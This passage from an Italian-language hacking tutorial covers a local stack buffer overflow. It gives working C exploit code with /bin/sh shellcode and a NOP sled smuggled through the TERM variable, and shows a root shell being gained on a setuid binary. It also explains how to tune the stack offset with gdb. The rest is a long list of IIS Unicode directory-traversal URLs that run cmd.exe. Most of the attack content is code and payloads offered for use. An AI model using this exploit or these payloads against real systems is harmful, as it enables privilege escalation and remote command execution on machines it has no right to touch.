potremmo ottenere che il software salti allinterno di un o dei NOP facendo in modo che il processore passi alla successiva istruzione fino a quando non incontra il codice che apre la shell. Lunico problema indovinare il valore da inserire nellindirizzo di ritorno. Il valore pefetto dovrebbe essere 0xbffff804 ma piuttosto improbabile che possiamo avee questa informazione nellistante in cui andremo scrivere un exploit reale per cui lunica cosa provare. Chiaramente linserimento dei NOP semplifica un p la questione. Questo potrebbe essere un piccolo esempio relativo al nostro caso. long get_esp(void) { __asm__("movl %esp,%eax\n"); } char *realegg = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; /*char *realegg="\xeb\xfe\0";*/ char s[1034]; int i; char *s1; #define STACKFRAME (0xc00 - 0x818) void main(int argc,char **argv,char **envp) { strcpy(s,"TERM="); s1 = s+5; while (s1<s+1028+5-strlen(realegg)) *(s1++)=0x90; while (*realegg) *(s1++)=*(realegg++); *((unsigned long *)s1)=get_esp()+16-1028-STACKFRAME; printf("%08X\n",*((long *)s1)); s1+=4; *s1=0; putenv(s); system("bash"); } La proima cosa da fare copiare TERM= in una stringa. Inseriremo inoltre un certo numero di NOP aggiungendo dopo il codice della shell. E quindi il valore di ritorno. Ora potremo chiamare putenv per settare la variabile ed eseguire la shell. La funzione "get_esp" prende il corretto valore di esp il qale potrebbe cambiare da macchina a macchina. Ricordiamoci che usando dei programmi localmente possiamo anche sfruttare queste funzioni cosa che non potremmo fare dallesterno del sistema. $ ./sploit BFFFF418 bash$ ./simple bash$

Ora proviamo : $ ls -l simple -rwsr-xr-x 1 root $ ./sploit BFFFF418 bash$ ./simple bash# root 4032 Oct 2 18:46 simple*

e sorpresa abbiamo la shell come root. Lunico trucco legato a questo tipo di buffer overflow quello di riuscire a trovare il corretto STACK_FRAME. Per aiutarci a fare questo possiamo usare un piccolo programma chiamato whatesp: long getesp() { __asm__("movl %esp,%eax"); } void main() { printf("%08X\n",getesp()+4); } $ ./sploit BFFFF41C bash$ ./whatesp BFFFF818 Il secondo valore che vedrete BFFFF818 che vi dir quale valore usare in STACK_FRAME (0x818). $ ./sploit BFFFF418 bash$ gdb whatesp GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.14 (i486-slackware-linux), Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)... (gdb) run Starting program: whatesp BFFFF7FC Program exited with code 011. (gdb) Rimpiazzate il valore 0x818 nello STACK_FRAME con 0x7fc.

Altre stringhe legate a UNICODE


Nei capitoli in cui abbiamo parlato dei problemi legati ai WEB windows abbiamo visto il discorso legato allUNICODE BUG.

Ecco un'altra serie di stringhe utilizzabili :


/MSADC/root.exe?/c+dir /PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir /PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir /PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir /Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir /Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..% %35%63../winnt/system32/cmd.exe?/c+dir /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir /_vti_bin/.. %25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe? /c+dir /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af.. %c0%af../winnt/system32/cmd.exe?/c+dir /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir /_vti_cnf/..%255c..%255c..%255c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af.. %c0%af../winnt/system32/cmd.exe?/c+dir /adsamples/..%255c..%255c..%255c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af.. %c0%af../winnt/system32/cmd.exe?/c+dir /c/winnt/system32/cmd.exe?/c+dir /cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af.. %c0%af../winnt/system32/cmd.exe?/c+dir /d/winnt/system32/cmd.exe?/c+dir /iisadmpwd/..%252f..%252f..%252f..%252f..%252f.. %252fwinnt/system32/cmd.exe?/c+dir /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af.. %c0%af../winnt/system32/cmd.exe?/c+dir /msaDC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir /msaDC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir /msaDC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir /msaDC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir /msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir /msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../.. %c1%1c../winnt/system32/cmd.exe?/c+dir /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir /msadc/..%c1%af../winnt/system32/cmd.exe?/c+dir /msadc/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir /msadc/..%c1%pc../winnt/system32/cmd.exe?/c+dir /msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir /msadc/..%e0%80%af../winnt/system32/cmd.exe?/c+dir /msadc/..%f0%80%80%af../..%f0%80%80%af../.. %f0%80%80%af../winnt/system32/cmd.exe?/c+dir /msadc/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir /msadc/..%f8%80%80%80%af../..%f8%80%80%80%af../.. %f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir

/msadc/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir /msadc/..\ HTTP/1.1%e0\ HTTP/1.1%80\ HTTP/1.1%af../..\ HTTP/1.1%e0\ HTTP/1.1%80\ HTTP/1.1%af../..\ HTTP/1.1%e0\ HTTP/1.1%80\ HTTP/1.1%af../winnt/system32/cmd.exe\ HTTP/1.1?/c\ HTTP/1.1+dir /samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir /samples/..%c0%af..%c0%af..%c0%af..%c0%af.. %c0%af../winnt/system32/cmd.exe?/c+dir /scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir /scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir /scripts/..%252f../winnt/system32/cmd.exe?/c+dir /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir /scripts/..%255c../winnt/system32/cmd.exe?/c+dir /scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir /scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir /scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir /scripts/root.exe?/c+dir/msadc/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../.. %fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir

You might also like